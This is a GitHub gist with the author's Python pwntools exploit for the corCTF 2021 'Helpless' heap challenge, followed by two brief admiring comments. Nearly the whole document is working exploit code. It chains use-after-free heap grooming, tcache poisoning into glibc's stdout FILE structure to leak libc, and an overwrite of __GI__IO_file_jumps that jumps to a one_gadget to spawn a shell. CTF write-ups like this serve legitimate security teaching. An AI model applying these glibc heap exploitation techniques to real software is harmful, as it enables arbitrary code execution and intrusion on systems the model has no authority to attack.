Skip to content

Instantly share code, notes, and snippets.

@c4ebt
Last active December 6, 2022 20:04
Show Gist options
  • Save c4ebt/d5989f17c06155b3d2550f9e6c70394c to your computer and use it in GitHub Desktop.
Save c4ebt/d5989f17c06155b3d2550f9e6c70394c to your computer and use it in GitHub Desktop.
corCTF 2021 Helpless solution by c4e (author)
#!/usr/bin/python
# corCTF 2021 Helpless solution by c4e (author)
# there are many different techniques that can be used to solve Helpless because of
# the nature of the challenge (UAF, variety of sizes allowed)
# My solution uses a House of Rust smallbin variation and then finishes the exploit off
# with a standard __GI__IO_file_jumps fsop triggered with stdout.
# feel free to dm me on discord if you want to discuss the solution. c4e#1255
from pwn import *
from time import sleep
context.log_level = "DEBUG"
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
libc = ELF("./libc.so.6")
elf = ELF("./helpless")
#p = gdb.debug(elf.path, "c")
p = process(elf.path)
#p = remote("35.208.182.172", 5002)
def alloc(ind, size=24, data="\n", stdout=True):
if stdout:
p.sendlineafter("Action:", "1")
p.sendlineafter("index:", str(ind))
p.sendlineafter("length:", str(size))
p.sendafter("Details:", data)
else:
sleep(1)
p.sendline("1")
sleep(1)
p.sendline(str(ind))
sleep(1)
p.sendline(str(size))
sleep(1)
p.send(data)
sleep(1)
def free(ind, stdout=True):
if stdout:
p.sendlineafter("Action:", "2")
p.sendlineafter("index:", str(ind))
else:
sleep(1)
p.sendline("2")
sleep(1)
p.sendline(str(ind))
sleep(1)
def edit(ind, data, stdout=True):
if stdout:
p.sendlineafter("Action:", "3")
p.sendlineafter("index", str(ind))
p.sendafter("Details:", data)
else:
sleep(1)
p.sendline("3")
sleep(1)
p.sendline(str(ind))
sleep(1)
p.send(data)
sleep(1)
def sort():
alloc(99, 0x1000)
free(99)
# ideas for 2.34 tcacke_key hardening patch
# have the first chunk be a smallbin sized that is freed later and
# overwrite the next smallbin chunk's bk 0
# this would make it pretty much like the old tcache key but it would point to
# 0x'200 instead of 0x'000. This should still be a useful primitive since a bigger
# tcache could be used to poison into stdout and then win.
# new patch removes hooks but the vtable mapping perms bug is still present
# so we can just use the standard __GI__IO_file_jumps fsop to finish it off.
alloc(0, 0x930)
alloc(81, 0x500, "asdf") # for large1
free(0)
free(81)
alloc(0, 0x1f40)
alloc(82, 0x500, "asdf")
free(0)
free(82)
alloc(0, 0x88)
alloc(80, 0x98, "\x00"*8 + "\x91")
for i in range(14):
alloc(i+1, 0x88)
alloc(15, 0x18)
alloc(16, 0x428) # large1
alloc(17, 0x18)
alloc(18, 0x418) # large2
alloc(19, 0x368) # for tps
#alloc(19, 0x18)
alloc(83, 0xa8)
for i in range(15): # need 15 because tsu not +
alloc(50+i, 0x98)
alloc(65, 0x18)
alloc(66, 0x448)
alloc(67, 0x18)
alloc(68, 0x438)
alloc(69, 0x18)
alloc(84, 0x358) # for count for _IO_2_1_stdout poison
alloc(85, 0x368) # for count for __GI__IO_file_jumps poison
# feng shui ends here, start of first tsu+ into tps for chunk
for i in range(7):
free(2*i+1)
for i in range(7):
free(2*i+2)
free(0)
free(16)
sort()
edit(81, "\x00"*9)
edit(14, "\x00"*8 + "\x20")
free(18)
sort()
edit(18, p64(0) + b"\x10")
for i in range(7):
alloc(20+i, 0x88)
free(19)
alloc(27, 0x88)
alloc(28, 0x88) # tps1
# tsu for libc pointer into tps starts here
# remember feng shui has to be done earlier
# just repeat stuff
# change smallbin for pointer to 0xa0 sized
edit(28, b"\x00"*0x68 + p64(0xa1) + b"\x00"*0x10)
for i in range(7):
free(2*i+51)
for i in range(8):
free(2*i+50)
free(0)
free(66)
sort()
edit(82, "\x00"*9)
edit(64, "\x00"*8 + "\x20")
free(68)
sort()
edit(68, p64(0) + b"\x10")
for i in range(7):
alloc(40+i, 0x98)
free(84)
alloc(70, 0x98)
edit(28, "\x60\x57")
#pause()
alloc(86, 0x358, p64(0xfbad1800) + p64(0)*3 + b"\x00")
chunk = p.recvrepeat(5)
if b"\x7f" in chunk:
pos = chunk.find(b"\x7f")
elif b"\x7e" in chunk:
pos = chunk.find(b"\x7e")
else:
raise Exception("Failed to find leak")
leak = u64(chunk[pos-5:pos+1].ljust(8, b"\x00"))
libc.address = leak - 0x1f5720 # 0x1bc744
log.info(hex(leak))
log.info(hex(libc.address))
# will rebuild the stdout FILE structure while changing the _mode to 1 to close activity
filler = libc.address + 0x1f37e3
stdout_FILE = (p64(filler)*4
+ p64(filler + 1)*2
+ p64(filler)
+ p64(filler + 1)
+ p64(0)*4
+ p64(libc.address + 0x1f2a80)
+ p64(1)
+ p64(0xffffffffffffffff)
+ p64(0x000000000a000000)
+ p64(libc.address + 0x1f5730)
+ p64(0xffffffffffffffff)
+ p64(0)
+ p64(libc.address + 0x1f2980)
+ p64(0)*3
)
# missing _flags and _mode but I'm adding them manually to be able to modify them
# + p64(1) for _mode, closing stdout activity for now
edit(86, p64(0xfbad2887) + stdout_FILE + p32(1), stdout=False)
free(85, stdout=False)
edit(28, p64(0) + p64(libc.sym.__GI__IO_file_jumps), stdout=False)
alloc(87, 0x368, p64(0)*2 # dummies
+ p64(libc.address + 0xda7e1) #p64(libc.address + 0x83de0) # __finish
+ p64(libc.address + 0xda7e1) # __overflow, one_gadget
, stdout=False
)
edit(86, b"/bin/sh\x00" + stdout_FILE + p32(0xffffffff), stdout=False)
p.interactive()
@volticks
Copy link

goddamn

@dplastico
Copy link

awesome

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment